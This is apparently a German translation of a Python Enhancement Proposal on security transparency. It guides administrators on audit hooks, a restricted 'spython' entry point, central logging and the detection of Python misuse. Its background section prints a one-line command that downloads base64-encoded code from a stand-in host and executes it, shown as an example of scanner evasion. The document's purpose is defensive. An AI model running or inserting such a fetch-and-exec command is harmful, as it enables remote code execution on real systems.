Beziehung zu PEP 578

Diese PEP wurde seit ihrer ursprünglichen Veröffentlichung in zwei Teile aufgeteilt.

Siehe PEP 578 für die zur nächsten Python-Version vorgeschlagenen Audit-Hooks.

Dies ist nun eine informative PEP, die Anleitungen für diejenigen bietet, die planen, Python in ihre sicheren oder auditierten Umgebungen zu integrieren.

Zusammenfassung

Diese PEP beschreibt das Konzept der Sicherheitstransparenz und wie es auf die Python-Laufzeit angewendet wird. Die Einsicht in die von der Laufzeit ausgeführten Aktionen ist von unschätzbarem Wert für die Integration von Python in eine ansonsten sichere und/oder überwachte Umgebung.

Die in PEP 578 beschriebenen Audit-Hooks sind eine wesentliche Komponente zur Erkennung, Identifizierung und Analyse des Missbrauchs von Python. Während die Hooks selbst neutral sind (insofern als nicht jedes gemeldete Ereignis von Natur aus Missbrauch ist), bieten sie wesentlichen Kontext für diejenigen, die für die Überwachung eines Gesamtsystems oder Netzwerks verantwortlich sind. Mit ausreichender Transparenz können Angreifer nicht mehr versteckt bleiben.

Hintergrund

Software-Schwachstellen werden im Allgemeinen als Fehler betrachtet, die eine Remote- oder erhöhte Codeausführung ermöglichen. In unserer modernen vernetzten Welt sind jedoch die gefährlicheren Schwachstellen diejenigen, die fortgeschrittene persistente Bedrohungen (APTs) ermöglichen. APTs werden erreicht, wenn ein Angreifer ein Netzwerk durchdringen, seine Software auf einem oder mehreren Rechnern etablieren und im Laufe der Zeit Daten oder Informationen extrahieren kann. Einige APTs machen sich durch böswillige Beschädigung von Daten (z. B. WannaCrypt) oder Hardware (z. B. Stuxnet) bemerkbar. Die meisten versuchen, ihre Existenz zu verbergen und der Erkennung zu entgehen. APTs nutzen oft eine Kombination aus traditionellen Schwachstellen, Social Engineering, Phishing (oder Spear-Phishing), gründlicher Netzwerkanalyse und einem Verständnis fehlkonfigurierter Umgebungen, um sich zu etablieren und ihre Arbeit zu verrichten.

Die ersten infizierten Maschinen sind möglicherweise nicht das Endziel und erfordern keine speziellen Berechtigungen. Beispielsweise kann eine als nicht-administrativen Benutzer auf dem Computer eines Entwicklers etablierte APT die Fähigkeit haben, über normale Bereitstellungskanäle auf Produktionsrechner zu verbreiten. Es ist üblich, dass APTs auf so vielen Rechnern wie möglich persistieren, wobei die schiere Präsenz sie schwierig vollständig zu entfernen macht.

Ob ein Angreifer direkten Schaden anrichten oder seine Spuren verwischen möchte, die größte Hürde für die Erkennung ist ein Mangel an Einblick. Systemadministratoren mit großen Netzwerken verlassen sich auf verteilte Protokolle, um zu verstehen, was ihre Maschinen tun, aber Protokolle werden oft gefiltert, um nur Fehlerbedingungen anzuzeigen. APTs, die versuchen, der Erkennung zu entgehen, werden selten Fehler oder abnormale Ereignisse generieren. Das Überprüfen normaler Betriebsprotokolle erfordert erhebliche Anstrengungen, obwohl von einer Reihe von Unternehmen daran gearbeitet wird, eine automatische Anomalieerkennung innerhalb von Betriebsprotokollen zu ermöglichen. Die von Angreifern bevorzugten Werkzeuge sind solche, die bereits auf den Zielrechnern installiert sind, da Protokollnachrichten von diesen Werkzeugen oft erwartet werden und im normalen Gebrauch ignoriert werden.

An dieser Stelle werden wir keine weitere Zeit auf die Existenz von APTs oder auf Methoden und Gegenmaßnahmen verwenden, die für diese PEP nicht relevant sind. Für weitere Informationen über dieses Feld empfehlen wir, die Ressourcen unter Weiterführende Literatur zu lesen oder anzusehen.

Python ist aufgrund seiner Verbreitung auf Servern und Entwicklercomputern, seiner Fähigkeit, beliebigen Code als Daten auszuführen (im Gegensatz zu nativen Binärdateien) und seines vollständigen Fehlens interner Überwachung ein besonders interessantes Werkzeug für Angreifer. Dies ermöglicht es Angreifern, bösartigen Code mit einem einzigen Befehl herunterzuladen, zu entschlüsseln und auszuführen.

python -c "import urllib.request, base64;
    exec(base64.b64decode(
        urllib.request.urlopen('http://my-exploit/py.b64')
    ).decode())"

Dieser Befehl umgeht derzeit die meisten Anti-Malware-Scanner, die darauf angewiesen sind, dass erkennbarer Code über eine Netzwerkverbindung gelesen oder auf die Festplatte geschrieben wird (Base64 reicht oft aus, um diese Prüfungen zu umgehen). Er umgeht auch Schutzmechanismen wie Dateizugriffskontrolllisten oder Berechtigungen (es erfolgt kein Dateizugriff), genehmigte Anwendungslisten (vorausgesetzt, Python wurde für andere Zwecke genehmigt) und automatische Überwachung oder Protokollierung (vorausgesetzt, Python darf auf das Internet zugreifen oder auf einen anderen Rechner im lokalen Netzwerk zugreifen, von dem es seine Nutzlast bezieht).

Der allgemeine Konsens in der Sicherheitsgemeinschaft ist, dass die vollständige Verhinderung von Angriffen nicht machbar ist und Verteidiger davon ausgehen sollten, dass sie Angriffe oft erst erkennen, nachdem sie erfolgreich waren. Dies ist als die „Assume Breach“-Denkweise bekannt. [1] In diesem Szenario sind Schutzmaßnahmen wie Sandboxing und Eingabevalidierung bereits fehlgeschlagen, und die wichtige Aufgabe ist die Erkennung, Verfolgung und letztendliche Entfernung des bösartigen Codes. Zu diesem Zweck ist das primär von Python geforderte Merkmal die Sicherheitstransparenz: die Fähigkeit zu sehen, welche Operationen die Python-Laufzeit durchführt, die auf anomalen oder bösartigen Gebrauch hindeuten könnten. Die Verhinderung eines solchen Gebrauchs ist wertvoll, aber sekundär gegenüber der Notwendigkeit zu wissen, dass er auftritt.

Zusammenfassung der Ziele in absteigender Reihenfolge der Wichtigkeit

• Die Verhinderung von bösartigem Gebrauch ist wertvoll
• Die Erkennung von bösartigem Gebrauch ist wichtig
• Die Erkennung von Versuchen, die Erkennung zu umgehen, ist kritisch

Ein Beispiel für eine Skript-Engine, die diese Herausforderungen bewältigt hat, ist PowerShell, das kürzlich in ähnliche Ziele der Transparenz und Prävention erweitert wurde. [2]

Im Allgemeinen bestimmt die Anwendungs- und Systemkonfiguration, welche Ereignisse innerhalb einer Skript-Engine protokolliert werden sollten. Da jedoch viele Protokollereignisse erst nach Erkennung eines Angriffs erkannt werden, ist es wichtig, so viel wie möglich zu erfassen und Ansichten zu filtern, anstatt an der Quelle zu filtern (siehe das Video „No Easy Breach“ unter Weiterführende Literatur). Von stets vorhandenem Interesse sind Versuche, die Überwachung zu umgehen, Versuche, nicht korrekt signierten oder zugriffskontrollierten Code zu laden und auszuführen, die Nutzung unüblicher Betriebssystemfunktionen wie Debugging- oder Prozessinspektionstools, die meisten Netzwerkzugriffe und DNS-Auflösungen sowie Versuche, auf dem lokalen Rechner Dateien oder Konfigurationseinstellungen zu erstellen und zu verbergen.

Zusammenfassend lässt sich sagen, dass Verteidiger die Notwendigkeit haben, spezifische Python-Verwendungen zu auditieren, um anormale oder bösartige Verwendungen zu erkennen. Mit PEP 578 erhält die Python-Laufzeit die Fähigkeit, dies zu ermöglichen. Das Ziel dieser PEP ist es, Systemadministratoren bei der Bereitstellung einer sicherheitstransparenten Version von Python zu unterstützen, die sich in ihre bestehenden Audit- und Schutzsysteme integrieren lässt.

Unter Windows können einige spezifische Funktionen, die durch die von PEP 578 hinzugefügten Hooks integriert werden, Folgendes umfassen:

• Protokollierung von Skriptblöcken [3]
• DeviceGuard [4]
• AMSI [5]
• Persistent Zone Identifiers [6]
• Ereignisverfolgung (einschließlich der Weiterleitung von Ereignissen) [7]

Unter Linux können einige spezifische Funktionen integriert werden:

• gnupg [8]
• sd_journal [9]
• OpenBSM [10]
• syslog [11]
• auditd [12]
• SELinux-Labels [13]
• Überprüfen des Ausführungsbits für importierte Module

Unter macOS können einige Funktionen integriert werden:

• OpenBSM [10]
• syslog [11]

Insgesamt ist die Möglichkeit, diese plattformspezifischen Funktionen auf Produktionsmaschinen zu aktivieren, für Systemadministratoren sehr attraktiv und macht Python zu einer vertrauenswürdigeren Abhängigkeit für Anwendungsentwickler.

Wahre Sicherheitstransparenz ist von Python allein nicht vollständig erreichbar. Die Laufzeit kann so viele Ereignisse auditieren, wie sie möchte, aber wenn die Protokolle nicht überprüft und analysiert werden, ist kein Wert vorhanden. Python kann Einschränkungen im Namen der Sicherheit auferlegen, aber die Benutzerfreundlichkeit kann darunter leiden. Verschiedene Plattformen und Umgebungen erfordern unterschiedliche Implementierungen bestimmter Sicherheitsfunktionen, und Organisationen mit den Ressourcen, ihre Laufzeit vollständig anzupassen, sollten dazu ermutigt werden.

Zusammenfassung der Empfehlungen

Diese werden in späteren Abschnitten detaillierter besprochen, hier jedoch vorgestellt, um die allgemeine Diskussion zu rahmen.

Systemadministratoren sollten einen alternativen Einstiegspunkt (außer python.exe oder pythonX.Y) bereitstellen und verwenden, um die Angriffsfläche zu reduzieren und Audit-Hooks sicher zu aktivieren. Eine Diskussion darüber, was eingeschränkt werden könnte, findet sich unten unter Beschränkung des Einstiegspunkts.

Systemadministratoren sollten alle vom Betriebssystem bereitgestellten Maßnahmen nutzen, um Modifikationen an ihrer Python-Installation zu verhindern, wie z. B. Dateiberechtigungen, Zugriffskontrolllisten und Signaturvalidierung.

Systemadministratoren sollten alles protokollieren und Protokolle so schnell wie möglich an einen zentralen Ort sammeln – vermeiden Sie es, Protokolle auf äußeren Ringmaschinen aufzubewahren.

Systemadministratoren sollten die _Erkennung_ von Missbrauch über die _Verhinderung_ von Missbrauch priorisieren.

Beschränkung des Einstiegspunkts

Eine der Hauptschwachstellen, die durch die Anwesenheit von Python auf einem Rechner offenbart wird, ist die Fähigkeit, beliebigen Code ohne Erkennung oder Überprüfung durch das System auszuführen. Dies wird erheblich erleichtert, da der Standard-Einstiegspunkt (python.exe unter Windows und pythonX.Y auf anderen Plattformen) die Ausführung von der Kommandozeile, vom Standard-Input erlaubt und standardmäßig keine Hooks aktiviert hat.

Unsere Empfehlung ist, dass Produktionsmaschinen einen modifizierten Einstiegspunkt anstelle des Standardeinstiegspunkts verwenden sollten. Außerhalb der Entwicklungsumgebung gibt es selten Bedarf an der Flexibilität, die der Standardeinstiegspunkt bietet.

In diesem Abschnitt beschreiben wir einen hypothetischen spython-Einstiegspunkt (spython.exe unter Windows; spythonX.Y auf anderen Plattformen), der ein für Produktionsmaschinen empfohlenes Maß an Sicherheitstransparenz bietet. Eine zugehörige Beispielimplementierung zeigt viele der hier beschriebenen Merkmale, wenn auch mit einer Reihe von Zugeständnissen, um plattformspezifischen Code zu vermeiden. Eine ausreichende Implementierung erfordert zwangsläufig eine gewisse Integration mit plattformspezifischen Sicherheitsfunktionen.

Offizielle Distributionen werden standardmäßig keine spython enthalten, aber Drittanbieter-Distributionen können entsprechend modifizierte Einstiegspunkte mit demselben Namen enthalten.

Die meisten Kommandozeilenargumente entfernen

Der spython-Einstiegspunkt erfordert, dass eine Skriptdatei als erstes Argument übergeben wird, und erlaubt keine Optionen davor. Dies verhindert die Ausführung von beliebigem Code aus In-Memory-Daten oder Nicht-Skript-Dateien (wie Pickles, die mit -m pickle <pfad> ausgeführt werden könnten).

Die Optionen -B (keine Bytecode-Schreibung), -E (Umgebungsvariablen ignorieren) und -s (keine Benutzer-Site) werden angenommen.

Wenn eine Datei mit demselben vollständigen Pfad wie der Prozess mit der Suffixierung ._pth (spython._pth unter Windows; spythonX.Y._pth unter Linux) existiert, wird sie zur Initialisierung von sys.path gemäß den Regeln verwendet, die derzeit für Windows beschrieben sind.

Zur Demonstration erlaubt die Beispielimplementierung von spython auch die Option -i zum Starten im interaktiven Modus. Dies wird für eingeschränkte Einstiegspunkte nicht empfohlen.

Protokollierung von auditierten Ereignissen

Vor der Initialisierung setzt spython einen Audit-Hook, der alle auditierten Ereignisse in eine OS-verwaltete Protokolldatei schreibt. Unter Windows ist dies die Ereignisverfolgungsfunktionalität,[7]_ und auf anderen Plattformen gehen sie an syslog.[11]_ Protokolle werden so schnell wie möglich vom Rechner kopiert, um Informationsverlust zu verhindern, falls ein Angreifer versucht, lokale Protokolle zu löschen oder den legitimen Zugriff auf den Rechner zu verhindern.

Der Audit-Hook wird auch alle sys.addaudithook-Ereignisse abbrechen und verhindern, dass andere Hooks hinzugefügt werden.

Der Protokollierungs-Hook ist in nativem Code geschrieben und wird konfiguriert, bevor der Interpreter initialisiert wird. Dies ist die einzige Möglichkeit, sicherzustellen, dass kein Python-Code ohne Auditierung ausgeführt wird und dass Python-Code die Registrierung des Hooks nicht verhindern kann.

Unser Hauptziel ist es, alle Aktionen aller Python-Prozesse aufzuzeichnen, damit die Erkennung offline gegen aufgezeichnete Ereignisse durchgeführt werden kann. Das Aufzeichnen aller Ereignisse ermöglicht auch tiefere Analysen und die Verwendung von Algorithmen des maschinellen Lernens. Diese sind nützlich für die Erkennung persistenter Angriffe, bei denen der Angreifer beabsichtigt, für einige Zeit innerhalb der geschützten Maschinen zu verbleiben, sowie für spätere Analysen zur Bestimmung des Ausmaßes und der Exposition, die durch einen erfolgreichen Angriff verursacht wurden.

Die Beispielimplementierung von spython schreibt zur Demonstration in eine lokale Protokolldatei. Wenn mit -i gestartet, schreibt die Beispielimplementierung alle Audit-Ereignisse in die Standardfehlerausgabe anstelle der Protokolldatei. Die Umgebungsvariable SPYTHONLOG kann verwendet werden, um den Speicherort der Protokolldatei anzugeben.

Beschränkung importierbarer Module

Ebenfalls vor der Initialisierung setzt spython einen Open-for-Import-Hook, der alle mit os.open_for_import geöffneten Dateien validiert. Diese Implementierung verlangt, dass alle Dateien die Suffixierung .py haben (was die Verwendung von zwischengespeichertem Bytecode verhindert) und löst ein benutzerdefiniertes Audit-Ereignis spython.open_for_import aus, das (filename, True_if_allowed) enthält.

Nach dem Öffnen der Datei wird der gesamte Inhalt in einem Puffer in den Speicher gelesen und die Datei geschlossen.

Die Kompilierung löst später ein compile-Ereignis aus, so dass es nicht notwendig ist, den Inhalt jetzt mit Mechanismen zu validieren, die auch für dynamisch generierten Code gelten. Wenn jedoch eine Whitelist von Quelldateien oder Dateihashes verfügbar ist, sollten andere Validierungsmechanismen wie DeviceGuard [4] hier durchgeführt werden.

Beschränkung von Globals in Pickles

Der spython-Einstiegspunkt bricht alle pickle.find_class-Ereignisse ab, die die Standardimplementierung verwenden. Überschreibungen lösen keine Audit-Ereignisse aus, es sei denn, sie werden explizit hinzugefügt, und werden daher weiterhin erlaubt.

Verhindern von os.system

Der spython-Einstiegspunkt bricht alle os.system-Aufrufe ab.

Es sei hier darauf hingewiesen, dass subprocess.Popen(shell=True) erlaubt ist (obwohl es über die plattformspezifischen Prozesserstellungsereignisse protokolliert wird). Dieser Kompromiss wird eingegangen, da es viel einfacher ist, eine laufende Anwendung dazu zu bringen, os.system mit einem einzigen String-Argument aufzurufen als eine Funktion mit mehreren Argumenten, und daher ist es wahrscheinlicher, dass es als Teil eines Exploits verwendet wird. Es gibt auch wenig Rechtfertigung für die Verwendung von os.system in Produktionscode, während subprocess.Popen eine große Anzahl legitimer Verwendungen hat. Protokolle, die die Verwendung des shell=True-Arguments anzeigen, sollten jedoch sorgfältiger überprüft werden.

Systemadministratoren werden ermutigt, solche Kompromisse zwischen Einschränkung und Erkennung einzugehen, und sollten generell die Erkennung bevorzugen.

Allgemeine Empfehlungen

Empfehlungen über die im vorherigen Abschnitt vorgeschlagenen hinaus sind schwierig, da die ideale Konfiguration für jede Umgebung von der Fähigkeit des Systemadministrators abhängt, Aktivitäten in seinem eigenen Netzwerk zu verwalten, zu überwachen und darauf zu reagieren. Nichtsdestotrotz versuchen wir hier, Kontext und Anleitungen für die Integration von Python in ein vollständiges System zu geben.

Dieser Abschnitt liefert Empfehlungen unter Verwendung der Begriffe sollte (oder sollte nicht), die angeben, dass wir es für riskant halten, den Rat zu ignorieren, und kann, was angibt, dass der Rat für hoch bewertete Systeme in Betracht gezogen werden sollte. Der Begriff Systemadministrator bezieht sich auf die Person, die für die Bereitstellung von Python im gesamten Netzwerk verantwortlich ist; verschiedene Organisationen können einen alternativen Titel für die verantwortlichen Personen haben.

Systemadministratoren sollten ihren eigenen Einstiegspunkt erstellen, wahrscheinlich ausgehend vom spython-Quellcode, und direkt mit den in ihrer Umgebung verfügbaren Sicherheitssystemen Schnittstellen bilden. Je enger die Integration, desto unwahrscheinlicher ist es, dass eine Schwachstelle gefunden wird, die es einem Angreifer ermöglicht, diese Systeme zu umgehen. Insbesondere sollte der Einstiegspunkt keine Einstellungen aus der aktuellen Umgebung beziehen, wie z. B. Umgebungsvariablen, es sei denn, diese Einstellungen sind anderweitig vor Modifikation geschützt.

Audit-Nachrichten sollten nicht in eine lokale Datei geschrieben werden. Der spython-Einstiegspunkt tut dies zu Beispiel- und Testzwecken. Auf Produktionsmaschinen sollten Tools wie ETW [7] oder auditd [12] verwendet werden, die für diesen Zweck vorgesehen sind.

Der Standard-Einstiegspunkt python sollte nicht auf Produktionsmaschinen bereitgestellt werden, könnte aber Entwicklern zum Testen von Python auf Nicht-Produktionsmaschinen zur Verfügung gestellt werden. Systemadministratoren können die Bereitstellung einer weniger restriktiven Version ihres Einstiegspunkts für Entwicklermaschinen in Betracht ziehen, da jedes mit Ihrem Netzwerk verbundene System ein potenzielles Ziel ist. Systemadministratoren können ihren eigenen Einstiegspunkt als python bereitstellen, um die Tatsache zu verschleiern, dass zusätzliche Auditierung enthalten ist.

Python-Bereitstellungen sollten nach der Bereitstellung und während der Nutzung schreibgeschützt gemacht werden, indem alle verfügbaren Plattformfunktionen genutzt werden.

Auf Plattformen, die dies unterstützen, sollten Systemadministratoren Signaturen für jede Datei in einer Python-Bereitstellung einschließen, idealerweise verifiziert mit einem privaten Zertifikat. Zum Beispiel unterstützt Windows das Einbetten von Signaturen in ausführbare Dateien und die Verwendung von Katalogen für andere, und kann DeviceGuard [4] zur automatischen oder manuellen Validierung von Signaturen mit einem open_for_import-Hook verwenden.

Systemadministratoren sollten so viele auditierte Ereignisse wie möglich protokollieren und Protokolle häufig von lokalen Maschinen kopieren. Selbst wenn die Protokolle nicht ständig auf verdächtige Aktivitäten überwacht werden, ist es zu spät, die Auditierung zu aktivieren, sobald ein Angriff erkannt wurde. Audit-Hooks sollten nicht versuchen, Ereignisse proaktiv zu filtern, da selbst harmlose Ereignisse bei der Analyse des Fortschritts eines Angriffs nützlich sind. (Sehen Sie sich das Video „No Easy Breach“ unter Weiterführende Literatur für eine tiefere Betrachtung dieser Seite an.)

Die meisten Aktionen sollten nicht abgebrochen werden, wenn sie während des normalen Gebrauchs auftreten könnten oder wenn ihre Verhinderung Angreifer dazu ermutigt, sie zu umgehen. Wie bereits erwähnt, ist Bewusstsein eine höhere Priorität als Verhinderung. Systemadministratoren können ihren Python-Code auditieren und Operationen abbrechen, von denen bekannt ist, dass sie niemals bewusst verwendet werden.

Audit-Hooks sollten Ereignisse in Protokolle schreiben, bevor sie versuchen abzubrechen. Wie bereits erörtert, ist es wichtiger, bösartige Aktionen aufzuzeichnen, als sie zu verhindern.

Systemadministratoren sollten Korrelationen zwischen Ereignissen identifizieren, da eine Änderung bei korrelierten Ereignissen auf Missbrauch hindeuten kann. Zum Beispiel lösen Modulimporte typischerweise das import-Audit-Ereignis aus, gefolgt von einem open_for_import-Aufruf und normalerweise einem compile-Ereignis. Versuche, die Auditierung zu umgehen, unterdrücken oft einige, aber nicht alle dieser Ereignisse. Wenn das Protokoll also import-Ereignisse, aber keine compile-Ereignisse enthält, kann eine Untersuchung erforderlich sein.

Der erste Audit-Hook sollte in C-Code gesetzt werden, bevor Py_Initialize aufgerufen wird, und dieser Hook sollte bedingungslos das sys.addloghook-Ereignis abbrechen. Die Python-Schnittstelle ist hauptsächlich für Tests und Entwicklung gedacht.

Um zu verhindern, dass Audit-Hooks auf Nicht-Produktionsmaschinen hinzugefügt werden, kann ein Einstiegspunkt einen Audit-Hook hinzufügen, der das sys.addloghook-Ereignis abbricht, aber ansonsten nichts tut.

Auf Produktionsmaschinen kann ein nicht-validierender open_for_import-Hook in C-Code gesetzt werden, bevor Py_Initialize aufgerufen wird. Dies verhindert, dass späterer Code den Hook überschreibt. Die Protokollierung des setopenforexecutehandler-Ereignisses ist jedoch nützlich, da kein Code diese Funktion jemals aufrufen sollte. Die Verwendung von mindestens der Beispiel-open_for_import-Hook-Implementierung aus spython wird empfohlen.

Da die Verwendung von open_for_import durch importlib leicht durch Monkeypatching umgangen werden kann, sollte ein Audit-Hook verwendet werden, um Attributänderungen an Typobjekten zu erkennen.

Was nicht getan werden sollte

Dieser Abschnitt behandelt gängige oder „offensichtlich gute“ Empfehlungen, die wir ausdrücklich nicht machen. Diese reichen von nutzlos oder falsch bis hin zu Ideen, die in jeder realen Umgebung einfach nicht umsetzbar sind.

Versuchen Sie nicht, eine Sandbox innerhalb der Python-Laufzeit zu implementieren. Es gibt eine lange Geschichte von Versuchen, die eingeschränkte Verwendung von Python-Funktionen für beliebigen Code zu ermöglichen (wie z. B. [14]), aber ohne allgemeinen Erfolg. Die besten Optionen sind, uneingeschränktes Python innerhalb einer sandboxed Umgebung mit mindestens Hypervisor-Level-Isolation auszuführen oder zu verhindern, dass nicht autorisierter Code überhaupt gestartet wird.

Verlassen Sie sich nicht auf statische Analyse, um nicht vertrauenswürdigen Code vor der Verwendung zu verifizieren. Die besten Optionen sind, vertrauenswürdigen Code im Voraus zu autorisieren, z. B. mit Code-Signierung, und wenn dies nicht möglich ist, bekannten bösartigen Code zu identifizieren, z. B. mit einem Anti-Malware-Scanner.

Verwenden Sie keine Audit-Hooks, um Operationen abzubrechen, ohne das Ereignis zuerst zu protokollieren. Sie werden es bereuen, nicht zu wissen, warum Ihr Prozess verschwunden ist.

[TODO - mehr schlechte Ratschläge]

Weiterführende Literatur

Malware neu definieren: Wenn alte Begriffe neue Bedrohungen darstellen

Von Aviv Raff für SecurityWeek, 29. Januar 2014

Dieser Artikel und die von ihm verlinkten sind High-Level-Zusammenfassungen des Aufstiegs von APTs und der Unterschiede zu „traditioneller“ Malware.

http://www.securityweek.com/redefining-malware-when-old-terms-pose-new-threats

Anatomie eines Cyberangriffs

Von FireEye, abgerufen am 23. August 2017

Eine Zusammenfassung der von APTs verwendeten Techniken und Links zu einer Reihe relevanter Whitepaper.

https://www.fireeye.com/current-threats/anatomy-of-a-cyber-attack.html

Automatisierte Verkehrsprotokollanalyse: Ein Muss für den Schutz vor fortgeschrittenen Bedrohungen

Von Aviv Raff für SecurityWeek, 8. Mai 2014

High-Level-Zusammenfassung des Werts von detaillierter Protokollierung und automatischer Analyse.

http://www.securityweek.com/automated-traffic-log-analysis-must-have-advanced-threat-protection

Kein einfacher Durchbruch: Herausforderungen und Lehren aus einer epischen Untersuchung

Video präsentiert von Matt Dunwoody und Nick Carr für Mandiant auf SchmooCon 2016

Detaillierter Durchlauf der Prozesse und Werkzeuge, die bei der Erkennung und Entfernung einer APT verwendet werden.

https://archive.org/details/No_Easy_Breach

Störung staatlicher Hacker

Video präsentiert von Rob Joyce für die NSA auf USENIX Enigma 2016

Gute Sicherheitspraktiken, Fähigkeiten und Empfehlungen vom Leiter von NSAs Tailored Access Operation.

https://www.youtube.com/watch?v=bDJb8WOJYdA

Referenzen

Danksagungen

Dank an alle Personen von Microsoft, die dazu beigetragen haben, die Python-Laufzeitumgebung für den Produktionseinsatz sicherer zu machen, insbesondere an James Powell für die Durchführung eines Großteils der anfänglichen Forschung, Analyse und Implementierung, Lee Holmes für unschätzbare Einblicke in den Info-Sec-Bereich und die Reaktionen von PowerShell sowie Brett Cannon für die zurückhaltenden und bodenständigen Diskussionen.

Urheberrecht

Copyright (c) 2017-2018 by Microsoft Corporation. Dieses Material darf nur unter den Bedingungen der Open Publication License, v1.0 oder höher, verteilt werden (die neueste Version ist derzeit verfügbar unter http://www.opencontent.org/openpub/).